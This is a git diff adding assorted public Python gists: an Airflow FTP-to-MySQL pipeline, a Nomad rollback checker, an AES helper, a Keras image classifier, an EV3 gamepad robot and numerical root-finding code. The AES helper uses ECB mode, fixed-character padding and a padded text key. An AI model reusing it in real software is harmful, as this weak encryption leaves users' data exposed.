+https://github.com/airbnb/airflow/blob/master/airflow/example_dags/tutorial.py
+"""
+from airflow import DAG
+from airflow.operators.python_operator import PythonOperator
+from airflow.operators.generic_transfer import GenericTransfer
+from airflow.contrib.hooks import FTPHook
+from airflow.hooks.mysql_hook import MySqlHook
+
+from datetime import datetime, timedelta
+import codecs
+import os
+import logging
+five_days_ago = datetime.combine(datetime.today() - timedelta(5), datetime.min.time())
+default_args = {
+    'owner': 'flolas',
+    'depends_on_past': True,
+    'start_date': five_days_ago,
+    'email': ['felipe.lolas013@bci.cl'],
+    'email_on_failure': False,
+    'email_on_retry': False,
+    # 'queue': 'bash_queue',
+    # 'pool': 'backfill',
+    # 'priority_weight': 10,
+    #'end_date': datetime(2016, 1, 1),
+    }
+"""
+This function get a file from an FTP, then save it to a folder on worker fs
+TODO: Delete blank file when file not found, then skip
+"""
+def download_file_from_ftp(remote_path, local_path, prefix, suffix,conn_id, ext, **kwargs):
+    conn = FTPHook(ftp_conn_id=conn_id)
+    date = str(kwargs['execution_date'].day) + '-' + str(kwargs['execution_date'].month) + '-' + str(kwargs['execution_date'].year) 
+    fl = prefix + date + suffix + '.' + ext
+    remote_filepath = remote_path + fl
+    local_filepath = local_path + fl
+    logging.info('Getting file: {}'.format(remote_filepath))
+    conn.retrieve_file(remote_filepath, local_filepath)
+    return local_filepath
+"""
+Expand columns process with pandas and save to the same csv
+"""
+def process_file_from_fs(header=None, sep=',', decimal='.', **kwargs):
+    import pandas as pd
+    def unpack_col(col_to_unpack, df_to_append = None, header = 'col', sep=',', na_value=''):
+        unpacked_cols = col_to_unpack.fillna(na_value).apply(lambda x: pd.Series(x.split(','))).fillna(na_value)
+        #add dynamic columns names based on # of rows and parameter header passed for prefix (header_#)
+        col_names = []
+        for i in unpacked_cols.columns:
+            col_names.append(header + '_' + str(i))
+        unpacked_cols.columns = col_names
+        if isinstance(df_to_append, pd.DataFrame):
+            #return df concatenated with previously unpacked columns
+            return pd.concat([df_to_append, unpacked_cols], axis=1)
+        else:
+            #return df only with unpacked columns
+            return unpacked_cols
+    # Esto lo que hace es recibir el output de la tarea anterior con xcom(local_filepath si se logro descargar el archivo)
+    local_filepath = kwargs['ti'].xcom_pull(task_ids='download_file')
+    df = pd.read_csv(local_filepath, sep = sep, header = header, decimal = '.', parse_dates=True, encoding='utf-8')
+    df = unpack_col(df[1], df, header='sent_mail')
+    df = unpack_col(df[2], df, header='recv_mail')
+    df.to_csv(local_filepath, sep='\t', encoding='utf-8')
+    return local_filepath
+
+def bulk_load_sql(table_name, **kwargs):
+    local_filepath = kwargs['ti'].xcom_pull(task_ids='download_file')
+    conn = MySqlHook(conn_name_attr='ib_sql')
+    conn.bulk_load(table_name, local_filepath)
+    return table_name
+dag = DAG('carga-mails-ejecutivos-6', default_args=default_args,schedule_interval="@daily")
+t1 = PythonOperator(
+        task_id='download_file',
+        python_callable=download_file_from_ftp,
+        provide_context=True,
+        op_kwargs={'remote_path': '/home/flolas/files/'
+                    ,'local_path': '/usr/local/airflow/files/'
+                    ,'ext': 'csv'
+                    ,'prefix': 'mail_'
+                    ,'suffix': ''
+                    ,'conn_id': 'ftp_servidor'
+                  },
+        dag=dag)
+t2 = PythonOperator(
+        task_id='process_file',
+        python_callable=process_file_from_fs,
+        provide_context=True,
+        op_kwargs={'sep': '|'},
+        dag=dag)
+t3 = PythonOperator(
+        task_id='file_to_MySql',
+        provide_context=True,
+        python_callable=bulk_load_sql,
+        op_kwargs={'table_name': 'MailsEjecutivos'},
+        dag=dag)
+t1 >> t2
+t2 >> t3
diff --git a/hard-gists/076bbc6a0d5056d20ad45095b434b02d/._snippet.py b/hard-gists/076bbc6a0d5056d20ad45095b434b02d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/076bbc6a0d5056d20ad45095b434b02d/._snippet.py differ
diff --git a/hard-gists/076bbc6a0d5056d20ad45095b434b02d/snippet.py b/hard-gists/076bbc6a0d5056d20ad45095b434b02d/snippet.py
new file mode 100644
index 00000000..6d34cf28
--- /dev/null
+++ b/hard-gists/076bbc6a0d5056d20ad45095b434b02d/snippet.py
@@ -0,0 +1,104 @@
+#!/usr/bin/env python
+"""
+As part of my jenkins build-pipeline, I'm having jenkins build and then deploy my services directly into nomad.
+my build and deploy in jenkins looks like this:
+docker build -t pdfservice:$BUILD_NUMBER .
+docker tag pdfservice:$BUILD_NUMBER registry.service.consul:5000/pdfservice:$BUILD_NUMBER
+docker push registry.service.consul:5000/pdfservice:$BUILD_NUMBER
+docker build -t pdfservice:latest .
+docker tag pdfservice:latest registry.service.consul:5000/pdfservice:latest
+docker push registry.service.consul:5000/pdfservice:latest
+sed "s/@@BUILD_NUMBER@@/$BUILD_NUMBER/g" pdfservice.nomad.sed >pdfservice.nomad
+nomad run pdfservice.nomad
+./nomad-check.py pdfservice $BUILD_NUMBER
+
+So, this code nomad-check, will see if the tag BUILD_NUMBER got ran successfully with nomad, if it failed for whatever reason
+then it will roll-back to a previous BUILD_NUMBER.  (up to 10 times).
+
+ uses https://github.com/jrxfive/python-nomad
+    pip install python-nomad
+
+"""
+import subprocess
+import sys
+import time
+import nomad
+
+def job(n, service):
+    """
+    return a job
+    """
+    return n.job.get_job(service)
+
+def check(n, service):
+    """return status on service with nomad connection n
+    """
+    s = job(n, service)
+    return s[u'Status']
+
+def imageBuildNumber(image):
+    """return build number from image config"""
+    try:
+        return image.rsplit(':', 1)[1]
+    except IndexError:
+        return 0
+    except AttributeError:
+        return 0
+
+def rollback(service, buildNumber):
+    """rollback nomad service to buildNumber.
+    i.e. you give me the buildNumber to go back to.
+    """
+    sed = 'sed "s/@@BUILD_NUMBER@@/%s/g" pdfservice.nomad.sed >pdfservice.nomad' % buildNumber
+    out = subprocess.check_output(sed, shell=True)
+    print(sed, out)
+    out = subprocess.check_output(['nomad','run','%s.nomad' % service])
+    print('nomad:', out)
+    return True
+
+def waitForBuildAndThenCheck(n, service, buildNumber, secs=10):
+    """wait around until we get the right build number in the image, and then run a check
+    """
+    for i in range(1, secs):
+        s = job(n, service)
+        image = s['TaskGroups'][0]['Tasks'][0]['Config']['image']
+        iBuildNumber = imageBuildNumber(image)
+        if buildNumber == iBuildNumber:
+            return True, s[u'Status']
+        else:
+            time.sleep(1)
+    return image, s[u'Status']
+def check(n, service, buildNumber):
+    """
+    check service for buildNumber as running and happy.
+    returns True if happy.
+    returns False if not happy.
+    """
+    success, status = waitForBuildAndThenCheck(n, service, buildNumber)
+    if success is True:
+        if status == 'running':
+            print("OK: %s is in %s state with buildNumber %s" % (service, status, buildNumber))
+            return True
+    print("ERROR: %s is in state %s with buildNumber %s (%s)" % (service, status, imageBuildNumber(success), success))
+    return False
+
+def main(service, buildNumber):
+    """main"""
+    n = nomad.Nomad('nomad.service.consul', timeout=5)
+    if check(n, service, buildNumber):
+        #success!
+        sys.exit(0)
+    else:
+        # rollback to a previous working build...
+        # up to 5 previous builds.
+        prevBuildNumber = int(buildNumber)-1
+        for i in range(prevBuildNumber, prevBuildNumber-5, -1):
+            print("INFO:rolling back to buildnumber:%s" % i)
+            prevbuildNumber = str(i)
+            rollback(service, i)
+            ret = check(n, service, i)
+            if ret:
+                sys.exit(0)
+
+if __name__ == '__main__':
+    main(sys.argv[1], sys.argv[2])
\ No newline at end of file
diff --git a/hard-gists/07cdfc2826a565b50a68/._snippet.py b/hard-gists/07cdfc2826a565b50a68/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/07cdfc2826a565b50a68/._snippet.py differ
diff --git a/hard-gists/07cdfc2826a565b50a68/snippet.py b/hard-gists/07cdfc2826a565b50a68/snippet.py
new file mode 100644
index 00000000..224d9d6a
--- /dev/null
+++ b/hard-gists/07cdfc2826a565b50a68/snippet.py
@@ -0,0 +1,48 @@
+# Inspired and adopted from https://gist.github.com/sekondus/4322469
+# COMES WITH ABOSLUTELY NO WARRANTY OF ANY KIND.
+# TOTAL FREEWARE, NO CLAIMS MADE OF ANY SORT.
+# SELL IT, BURN IT, PRETEND ITS YOUR OWN.
+# RELEASED UNDER NOBODY CARES LICENSE.
+
+import os
+import base64
+
+from Crypto.Cipher import AES
+
+
+
+BLOCK_SIZE = 32
+PADDING='#'
+
+def _pad(data, pad_with=PADDING):
+    """
+    Data to be encrypted should be on 16, 24 or 32 byte boundaries.
+    So if you have 'hi', it needs to be padded with 30 more characters 
+    to make it 32 bytes long. Similary if something is 33 bytes long, 
+    31 more bytes are to be added to make it 64 bytes long which falls 
+    on 32 boundaries.
+
+    - BLOCK_SIZE is the boundary to which we round our data to.
+    - PADDING is the character that we use to padd the data.
+    """
+    return data + (BLOCK_SIZE - len(data) % BLOCK_SIZE) * PADDING
+
+def encrypt(secret_key, data):
+    """
+    Encrypts the given data with given secret key. 
+    """
+    cipher = AES.new(_pad(secret_key, '@')[:32])
+    return base64.b64encode(cipher.encrypt(_pad(data)))
+
+def decrypt(secret_key, encrypted_data):
+    """
+    Decryptes the given data with given key.
+    """
+    cipher = AES.new(_pad(secret_key, '@')[:32])
+    return cipher.decrypt(base64.b64decode(encrypted_data)).rstrip(PADDING)
+
+
+KEY='your-key-super-duper-secret-key-here-only-first-32-characters-are-used'
+decrypted =  encrypt(KEY, 'Hello, world!')
+print decrypted
+print decrypt(KEY, decrypted)
diff --git a/hard-gists/0830affa1f7f19fd47b06d4cf89ed44d/._snippet.py b/hard-gists/0830affa1f7f19fd47b06d4cf89ed44d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0830affa1f7f19fd47b06d4cf89ed44d/._snippet.py differ
diff --git a/hard-gists/0830affa1f7f19fd47b06d4cf89ed44d/snippet.py b/hard-gists/0830affa1f7f19fd47b06d4cf89ed44d/snippet.py
new file mode 100644
index 00000000..e5e5ecb1
--- /dev/null
+++ b/hard-gists/0830affa1f7f19fd47b06d4cf89ed44d/snippet.py
@@ -0,0 +1,115 @@
+'''This script goes along the blog post
+"Building powerful image classification models using very little data"
+from blog.keras.io.
+It uses data that can be downloaded at:
+https://www.kaggle.com/c/dogs-vs-cats/data
+In our setup, we:
+- created a data/ folder
+- created train/ and validation/ subfolders inside data/
+- created cats/ and dogs/ subfolders inside train/ and validation/
+- put the cat pictures index 0-999 in data/train/cats
+- put the cat pictures index 1000-1400 in data/validation/cats
+- put the dogs pictures index 12500-13499 in data/train/dogs
+- put the dog pictures index 13500-13900 in data/validation/dogs
+So that we have 1000 training examples for each class, and 400 validation examples for each class.
+In summary, this is our directory structure:
+```
+data/
+    train/
+        dogs/
+            dog001.jpg
+            dog002.jpg
+            ...
+        cats/
+            cat001.jpg
+            cat002.jpg
+            ...
+    validation/
+        dogs/
+            dog001.jpg
+            dog002.jpg
+            ...
+        cats/
+            cat001.jpg
+            cat002.jpg
+            ...
+```
+'''
+
+from keras.preprocessing.image import ImageDataGenerator
+from keras.models import Sequential
+from keras.layers import Conv2D, MaxPooling2D
+from keras.layers import Activation, Dropout, Flatten, Dense
+from keras import backend as K
+
+
+# dimensions of our images.
+img_width, img_height = 150, 150
+
+train_data_dir = 'data/train'
+validation_data_dir = 'data/validation'
+nb_train_samples = 2000
+nb_validation_samples = 800
+epochs = 50
+batch_size = 16
+
+if K.image_data_format() == 'channels_first':
+    input_shape = (3, img_width, img_height)
+else:
+    input_shape = (img_width, img_height, 3)
+
+model = Sequential()
+model.add(Conv2D(32, (3, 3), input_shape=input_shape))
+model.add(Activation('relu'))
+model.add(MaxPooling2D(pool_size=(2, 2)))
+
+model.add(Conv2D(32, (3, 3)))
+model.add(Activation('relu'))
+model.add(MaxPooling2D(pool_size=(2, 2)))
+
+model.add(Conv2D(64, (3, 3)))
+model.add(Activation('relu'))
+model.add(MaxPooling2D(pool_size=(2, 2)))
+
+model.add(Flatten())
+model.add(Dense(64))
+model.add(Activation('relu'))
+model.add(Dropout(0.5))
+model.add(Dense(1))
+model.add(Activation('sigmoid'))
+
+model.compile(loss='binary_crossentropy',
+              optimizer='rmsprop',
+              metrics=['accuracy'])
+
+# this is the augmentation configuration we will use for training
+train_datagen = ImageDataGenerator(
+    rescale=1. / 255,
+    shear_range=0.2,
+    zoom_range=0.2,
+    horizontal_flip=True)
+
+# this is the augmentation configuration we will use for testing:
+# only rescaling
+test_datagen = ImageDataGenerator(rescale=1. / 255)
+
+train_generator = train_datagen.flow_from_directory(
+    train_data_dir,
+    target_size=(img_width, img_height),
+    batch_size=batch_size,
+    class_mode='binary')
+
+validation_generator = test_datagen.flow_from_directory(
+    validation_data_dir,
+    target_size=(img_width, img_height),
+    batch_size=batch_size,
+    class_mode='binary')
+
+model.fit_generator(
+    train_generator,
+    steps_per_epoch=nb_train_samples // batch_size,
+    epochs=epochs,
+    validation_data=validation_generator,
+    validation_steps=nb_validation_samples // batch_size)
+
+model.save_weights('first_try.h5')
diff --git a/hard-gists/083777cb1f8c9efe6418c75d18bdd32b/._snippet.py b/hard-gists/083777cb1f8c9efe6418c75d18bdd32b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/083777cb1f8c9efe6418c75d18bdd32b/._snippet.py differ
diff --git a/hard-gists/083777cb1f8c9efe6418c75d18bdd32b/snippet.py b/hard-gists/083777cb1f8c9efe6418c75d18bdd32b/snippet.py
new file mode 100644
index 00000000..35f9a1ca
--- /dev/null
+++ b/hard-gists/083777cb1f8c9efe6418c75d18bdd32b/snippet.py
@@ -0,0 +1,69 @@
+#!/usr/bin/env python3
+__author__ = 'Artur Poznanski'
+
+import evdev
+import ev3dev.auto as ev3
+import threading
+import time
+
+## Some helpers ##
+def clamp(n, minn, maxn):
+    return max(min(maxn, n), minn)
+
+def scale(val, src, dst):
+    return (float(val - src[0]) / (src[1] - src[0])) * (dst[1] - dst[0]) + dst[0]
+
+def scale_stick(value):
+    return scale(value,(0,255),(-1000,1000))
+
+def dc_clamp(value):
+    return clamp(value,-1000,1000)
+
+## Initializing ##
+print("Finding ps3 controller...")
+devices = [evdev.InputDevice(fn) for fn in evdev.list_devices()]
+for device in devices:
+    if device.name == 'PLAYSTATION(R)3 Controller':
+        ps3dev = device.fn
+
+gamepad = evdev.InputDevice(ps3dev)
+
+forward_speed = 0
+side_speed = 0
+running = True
+
+class MotorThread(threading.Thread):
+    def __init__(self):
+        self.right_motor = ev3.LargeMotor(ev3.OUTPUT_C)
+        self.left_motor = ev3.LargeMotor(ev3.OUTPUT_B)
+        threading.Thread.__init__(self)
+
+    def run(self):
+        print("Engine running!")
+        while running:
+            self.right_motor.run_forever(speed_sp=dc_clamp(forward_speed+side_speed))
+            self.left_motor.run_forever(speed_sp=dc_clamp(-forward_speed+side_speed))
+
+        self.right_motor.stop()
+        self.left_motor.stop()
+
+motor_thread = MotorThread()
+motor_thread.setDaemon(True)
+motor_thread.start()
+
+for event in gamepad.read_loop():   #this loops infinitely
+    if event.type == 3:             #A stick is moved
+        if event.code == 0:         #X axis on left stick
+            forward_speed = -scale_stick(event.value)
+        if event.code == 1:         #Y axis on left stick
+            side_speed = -scale_stick(event.value)
+        if side_speed < 100 and side_speed > -100:
+            side_speed = 0
+        if forward_speed < 100 and forward_speed > -100:
+            forward_speed = 0
+
+    if event.type == 1 and event.code == 302 and event.value == 1:
+        print("X button is pressed. Stopping.")
+        running = False
+        time.sleep(0.5) # Wait for the motor thread to finish
+        break
diff --git a/hard-gists/0932b2b5293839cd7d79fa6b513c8128/._snippet.py b/hard-gists/0932b2b5293839cd7d79fa6b513c8128/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0932b2b5293839cd7d79fa6b513c8128/._snippet.py differ
diff --git a/hard-gists/0932b2b5293839cd7d79fa6b513c8128/snippet.py b/hard-gists/0932b2b5293839cd7d79fa6b513c8128/snippet.py
new file mode 100644
index 00000000..87a4beef
--- /dev/null
+++ b/hard-gists/0932b2b5293839cd7d79fa6b513c8128/snippet.py
@@ -0,0 +1,513 @@
+# -*- coding: utf-8 -*-
+# 수치해석, 김상철 교수님
+# 1. Incremental Search, Bisection, False Position,
+#    Newton-Raphson, Secant Method 정리
+# 20163179 홍승환
+
+import numpy as np
+import math
+from scipy.optimize import fsolve
+
+"""
+    증분법을 계산하는 함수입니다.
+    func : 대상 함수
+    xmin, xmax : x의 최소, 최대값
+    ns : 설정한 x 범위를 몇 개의 실제 값으로 쪼갤 것인지
+"""
+def incsearch(func, xmin, xmax, ns):
+    # x 범위 설정
+    x = np.linspace(xmin, xmax, ns)
+
+    # 주어진 함수 실행 배열 세팅
+    f = func(x)
+
+    # 구간값의 갯수
+    nb = 0
+
+    # 구간값을 보관할 배열
+    xb = []
+
+    # 0부터 설정한 최고값까지 반복
+    for k in np.arange(np.size(x) - 1):
+        # 만약 f(x)랑 f(x+1)이 부호가 다르면 = 그래프가 x축을 뚫고 지나갔으면
+        if np.sign(f[k]) != np.sign(f[k+1]):
+            # 구간 하나 찾음!
+            nb = nb + 1
+
+            # 여기부터 여기까지임
+            xb.append(x[k])
+            xb.append(x[k + 1])
+
+    # 구간 갯수(Number of Brackets), 구간 배열(Root Interval) 반환
+    return nb, xb
+
+"""
+    이분법을 계산하는 함수입니다.
+    func : 대상 함수
+    xl : 계산할 x의 최저값 (lower guesses)
+    xu : 계산할 x의 최고값 (upper guesses)
+"""
+def bisect(func, xl, xu):
+    # 최대 반복 횟수, 기본 100으로 설정함
+    maxit = 100
+
+    # 예상된 오차의 범위, 기본 0.0001%로 설정
+    es = 1.0e-4
+
+    # f(최저값)과 x(최고값)을 곱함
+    test = func(xl) * func(xu)
+
+    """
+        Bisection은, 계산할 x의 최저값과 최고값이 부호가 달라야 합니다.
+        중간값 정의에 의해, 그 사이에 무조건적으로 근이 존재하기 때문입니다.
+        그러나 f(최저값)과 f(최고값)을 곱한 값이 양수라면, 부호가 같다는 뜻이 됩니다.
+        계산이 불가능하다는 뜻이므로, 함수를 종료합니다.
+    """
+    if test > 0:
+        print("No sign change")
+        return [], [], [], []
+    
+    # 반복 카운터
+    iter = 0
+
+    # 중심값 초기화
+    xr = xl
+
+    # 계산될 오차값 100%로 초기화
+    ea = 100
+
+    # 무한 반복
+    while True:
+        # 우선 현재 중심값을 xrold라는 변수에 저장해둠
+        xrold = xr
+
+        # 중심값을 현재의 최고, 최저값을 더한 후 2로 나눈 값(중앙값)으로 설정함
+        xr = np.float((xl + xu) / 2)
+
+        # 한 바퀴 더 돌았음
+        iter = iter + 1
+
+        # 중심값이 0이 아니라면
+        if xr != 0:
+            # 다음 식을 계산해서 오차값을 찾음
+            # |{(현재 중심값) - (이전 중심값)} / (현재 중심값) | * 100
+            ea = np.float(np.abs((np.float(xr) - np.float(xrold))/np.float(xr))*100)
+        
+        # f(최저값)과 x(최고값)을 곱함
+        test = func(xl) * func(xr)
+
+        # 만약 곱한 값이 양수라면
+        if test > 0:
+            # 최저값을 현재 중심값으로 설정함
+            xl = xr
+        # 아니고 만약 음수라면
+        elif test < 0:
+            # 최고값을 현재 중심값으로 설정함
+            xu = xr
+        # 만약 양수도, 음수도 아닌 0이라면
+        else:
+            # 오차 없음, 정확히 찾음
+            ea = 0
+        
+        # 만약 (1) 계산된 오차값이 허용된 오차값보다 작다면 = 대강 이쯤되면 답이다 싶으면
+        # 또는
+        # 만약 (2) 설정한 최대 반복값보다 더 많이 돌았으면
+        if np.int(ea < es) | np.int(iter >= maxit):
+            # 계산 그만, 반복 종료
+            break
+    
+    # 구한 중심값을 근으로 침
+    root = xr
+
+    # f(x)에 구한 근 넣어서 계산
+    fx = func(xr)
+
+    # 근, f(근) 값, 계산된 오차값, 반복값
+    return root, fx, ea, iter
+
+"""
+    가위치법을 계산하는 함수입니다.
+    func : 대상 함수
+    xl : 계산할 x의 최저값 (lower guesses)
+    xu : 계산할 x의 최고값 (upper guesses)
+"""
+def false_position(func, xl, xu):
+    # 최고 반복 한계값, 에러 최댓값 설정
+    maxit = 100
+    es = 1.0e-4
+
+    # f(최저값)과 x(최고값)을 곱함
+    test = func(xl) * func(xu)
+
+    """
+        False Position은 Bisection과 마찬가지로 구간을 기반으로 판단하는 알고리즘입니다.
+        그러므로 역시 중간값 정리를 적용하여, 양쪽 끝값의 부호가 달라야 계산이 가능합니다.
+        그렇지 않다면, 계산을 하지 않고 함수를 종료합니다.
+    """
+    if test > 0:
+        print("No sign change")
+        return [], [], [], []
+    
+    # 반복 카운터 초기화
+    iter = 0
+
+    # 중간값 초기화
+    xr = xl
+
+    # 오차 초기화
+    ea = 100
+
+    # 무한 반복
+    while True:
+        # 이전 중간값 저장
+        xrold = xr
+
+        # False Position 알고리즘 : 삼각형의 닮은꼴 기반 계산법 (PPT 참조)
+        xr = np.float(xu - func(xu) * (xl - xu) / (func(xl) - func(xu)))
+
+        # 반복 카운터 1 증가
+        iter = iter + 1
+
+        # 중간값이 0이 아니면
+        if xr != 0:
+            # 다음 식을 계산해서 오차값을 찾음
+            # |{(현재 중심값) - (이전 중심값)} / (현재 중심값) | * 100
+            ea = np.float(np.abs((np.float(xr) - np.float(xrold))/np.float(xr)) * 100)
+        
+        # f(최저값)과 x(최고값)을 곱함
+        test = func(xl) * func(xr)
+
+        # 만약 곱한 값이 양수라면
+        if test > 0:
+            # 최저값을 현재 중심값으로 설정함
+            xl = xr
+        # 아니고 만약 음수라면
+        elif test < 0:
+            # 최고값을 현재 중심값으로 설정함
+            xu = xr
+        # 만약 양수도, 음수도 아닌 0이라면
+        else:
+            # 오차 없음, 정확히 찾음
+            ea = 0
+        
+        # 만약 (1) 계산된 오차값이 허용된 오차값보다 작다면 = 대강 이쯤되면 답이다 싶으면
+        # 또는
+        # 만약 (2) 설정한 최대 반복값보다 더 많이 돌았으면
+        if np.int(ea < es) | np.int(iter >= maxit):
+            # 계산 그만, 반복 종료
+            break
+
+    # 찾은 중심값을 근으로 함
+    root = xr
+
+    # f(근) 계산
+    fx = func(xr)
+
+    # 근, f(근), 오차, 반복 횟수 반환
+    return root, fx, ea, iter
+
+"""
+    Newton-Raphson을 계산하는 함수입니다.
+    func : 대상 함수
+    dfunc : 대상 함수의 미분 함수
+    xr : 시작값
+"""
+def newtraph(func, dfunc, xr):
+    # 최대 반복 횟수, 오차 최댓값, 반복 카운터 초기화
+    maxit = 50
+    es = 1.0e-4
+    iter = 0
+    
+    # 무한 반복
+    while True:
+        # 현재 값 보관
+        xrold = xr
+
+        # Newton-Raphson Algorithm 계산
+        xr = np.float(xr - func(xr) / dfunc(xr))
+        # 반복 카운터 1 증가
+        iter = iter + 1
+
+        # xr이 0이 아닐 경우
+        if xr != 0:
+            # 다음 식을 계산해서 오차값을 찾음
+            # |{(현재 중심값) - (이전 중심값)} / (현재 중심값) | * 100
+            ea = np.float(np.abs((np.float(xr) - np.float(xrold))/np.float(xr)) * 100)
+
+        # 만약 (1) 계산된 오차값이 허용된 오차값보다 작다면 = 대강 이쯤되면 답이다 싶으면
+        # 또는
+        # 만약 (2) 설정한 최대 반복값보다 더 많이 돌았으면
+        if np.int(ea < es) | np.int(iter >= maxit):
+            break
+    
+    # 구해진 xr을 근으로 함
+    root = xr
+    # 근, 오차값, 반복 횟수 반환
+    return root, ea, iter
+
+"""
+    Secant Method(할선법)를 계산하는 함수입니다.
+    func : 대상 함수
+    x0, x1 : 시작값, 끝값
+"""
+def secant_method(func, x0, x1):
+    # 최대 반복 횟수, 최대 오차, 반복 카운터 초기화
+    maxit = 100
+    es = 1.0e-4
+    iter = 0
+    
+    # 무한 반복
+    while True:
+        # Secant Method
+        xr = np.float(x1 - (func(x1) * (x1 - x0) * 1.0) / (func(x1) - func(x0)))
+        # 반복 카운터 초기화
+        iter = iter + 1
+
+        # xr이 0이 아닐 경우
+        if xr != 0:
+            # 다음 식을 계산해서 오차값을 찾음
+            # |{(현재 구한 값) - (바로 전에 구한 값)} / (현재 구한 값) | * 100
+            ea = np.float(np.abs((np.float(xr) - np.float(x1))/np.float(xr)) * 100)
+
+        # 만약 (1) 계산된 오차값이 허용된 오차값보다 작다면 = 대강 이쯤되면 답이다 싶으면
+        # 또는
+        # 만약 (2) 설정한 최대 반복값보다 더 많이 돌았으면
+        if np.int(ea < es) | np.int(iter >= maxit):
+            break
+        
+        # 값을 하나씩 뒤로 옮김
+        x0 = x1
+        x1 = xr
+    
+    # 구해진 xr을 근으로 함
+    root = xr
+    # 근, 오차값, 반복 횟수를 반환
+    return root, ea, iter
+
+# 실제적 계산값
+print("[!] 0. Real Root\n")
+
+fm = lambda m: np.sqrt(9.81 * m / 0.25) * np.tanh(np.sqrt(9.81 * 0.25 / m) * 4) - 36
+m = fsolve(fm, 1)
+
+print("[+] Real Root:", m)
+print()
+
+# 증분법
+print("[!] 1. Incremental Search\n")
+g = 9.81; m = 68.1; cd = 0.25; v = 36; t = 4
+
+fp = lambda mp: np.sqrt(g * np.asarray(mp) / cd) * np.tanh(np.sqrt(g * cd / np.asarray(mp)) * t) - v
+nb, xb = incsearch(fp, 1, 200, 50)
+
+# 구간의 갯수
+print("[+] Number of Brackets =", nb)
+
+# 구간들
+print("[+] Root Interval =", xb)
+print()
+
+# 이분법
+print("[!] 2. Bisection\n")
+fm = lambda m: np.sqrt(9.81 * m / 0.25) * np.tanh(np.sqrt(9.81 * 0.25 / m) * 4) - 36
+root, fx, ea, iter = bisect(fm, 40, 200)
+
+# 근
+print("[+] root:", root)
+
+# f(근)
+print("[+] f(root):", fx, "(Must Be Zero)")
+
+# 계산된 오차
+print("[+] Estimated Error:", ea, "(Must Be Zero Error)")
+
+# 근을 찾기 위해 반복한 계산 횟수
+print("[+] Iterated Number to Find Root: ", iter)
+print()
+
+# 가위치법
+print("[!] 3. False Position\n")
+fm = lambda m: np.sqrt(9.81 * m / 0.25) * np.tanh(np.sqrt(9.81 * 0.25 / m) * 4) - 36
+root, fx, ea, iter = false_position(fm, 40, 200)
+
+# 근
+print("[+] root:", root, "(False Position)")
+
+# f(근)
+print("[+] f(root):", fx, "(Must Be Zero, False Position)")
+
+# 계산된 오차
+print("[+] Estimated Error:", ea, "(Must Be Zero Error, False Position)")
+
+# 근을 찾기 위해 반복한 계산 횟수
+print("[+] Iterated Number to Find Root: ", iter, "(False Position)")
+print()
+
+# Newton-Raphson
+print("[!] 4. Newton-Raphson\n")
+
+# 대상 함수
+y = lambda m: np.sqrt(9.81 * m / 0.25) * np.tanh(np.sqrt(9.81 * 0.25 / m) * 4) - 36
+
+# 미분 함수
+"""
+    미분 함수에서, 원래대로라면 sech(Hyperbolic Secant)의 제곱이 필요합니다.
+    하지만 Numpy + Scipy 조합에서는 이 함수가 존재하지 않습니다.
+    그래서 sech = 1 / cosh에서 착안하여 {1 / np.cosh(...)}의 제곱으로 계산하여야 합니다.
+"""
+dy = lambda m: (1 / 2) * np.sqrt(9.81 / (m * 0.25)) * np.tanh(np.sqrt(9.81 * 0.25 / m) * 4) - \
+               (9.81 * 4 / (2 * m)) * (1 / np.cosh(np.sqrt(9.81 * 0.25 / m) * 4)) ** 2
+
+# 시작값이 140일 때
+root, ea, iter = newtraph(y, dy, 140)
+print("[=] On xr = 140\n")
+
+print("[+] Root:", root)
+print("[+] Estimated Error:", ea, "(Must Be Zero Error)")
+print("[+] Iterated Number to Find Root: ", iter)
+print()
+
+# 시작값이 200일 때
+root, ea, iter = newtraph(y, dy, 200)
+print("[=] On xr = 200\n")
+
+print("[+] root:", root)
+print("[+] Estimated Error:", ea, "(Must Be Zero Error)")
+print("[+] Iterated Number to Find Root: ", iter)
+print()
+
+# 시작값이 40일 때
+root, ea, iter = newtraph(y, dy, 40)
+print("[=] On xr = 40\n")
+
+print("[+] root:", root)
+print("[+] Estimated Error:", ea, "(Must Be Zero Error)")
+print("[+] Iterated Number to Find Root: ", iter)
+print()
+    
+# Secant Method (할선법)
+print("[!] 5. Secant Method\n")
+y = lambda m: np.sqrt(9.81 * m / 0.25) * np.tanh(np.sqrt(9.81 * 0.25 / m) * 4) - 36
+
+# 40에서 200을 범위로 잡았을 때
+root, ea, iter = secant_method(y, 40, 200)
+print("[=] On 40 to 200:\n")
+
+print("[+] Root:", root)
+print("[+] Estimated Error:", ea, "(Must Be Zero Error)")
+print("[+] Iterated Number to Find Root: ", iter)
+print()
+
+
+# 기대 출력 결과
+"""
+[!] 0. Real Root
+
+[+] Real Root: [ 142.73763311]
+
+[!] 1. Incremental Search
+
+[+] Number of Brackets = 1
+[+] Root Interval = [139.08163265306123, 143.14285714285717]
+
+[!] 2. Bisection
+
+[+] root: 142.73765563964844
+[+] f(root): 4.60891335763e-07 (Must Be Zero)
+[+] Estimated Error: 5.3450468252827136e-05 (Must Be Zero Error)
+[+] Iterated Number to Find Root:  21
+
+[!] 3. False Position
+
+[+] root: 142.73783844758196 (False Position)
+[+] f(root): 4.20034974269e-06 (Must Be Zero, False Position)
+[+] Estimated Error: 7.781013805708828e-05 (Must Be Zero Error, False Position)
+[+] Iterated Number to Find Root:  29 (False Position)
+
+[!] 4. Newton-Raphson
+
+[=] On xr = 140
+
+[+] Root: 142.73763310844788
+[+] Estimated Error: 9.907775669827273e-06 (Must Be Zero Error)
+[+] Iterated Number to Find Root:  3
+
+[=] On xr = 200
+
+[+] root: 142.73763310844814
+[+] Estimated Error: 9.466905354044462e-06 (Must Be Zero Error)
+[+] Iterated Number to Find Root:  5
+
+[=] On xr = 40
+
+[+] root: 142.73763310844924
+[+] Estimated Error: 1.0756383652963496e-10 (Must Be Zero Error)
+[+] Iterated Number to Find Root:  7
+
+[!] 5. Secant Method
+
+[=] On 40 to 200:
+
+[+] Root: 142.73763310875134
+[+] Estimated Error: 6.298919092046472e-06 (Must Be Zero Error)
+[+] Iterated Number to Find Root:  7
+"""
+
+# 설명
+"""
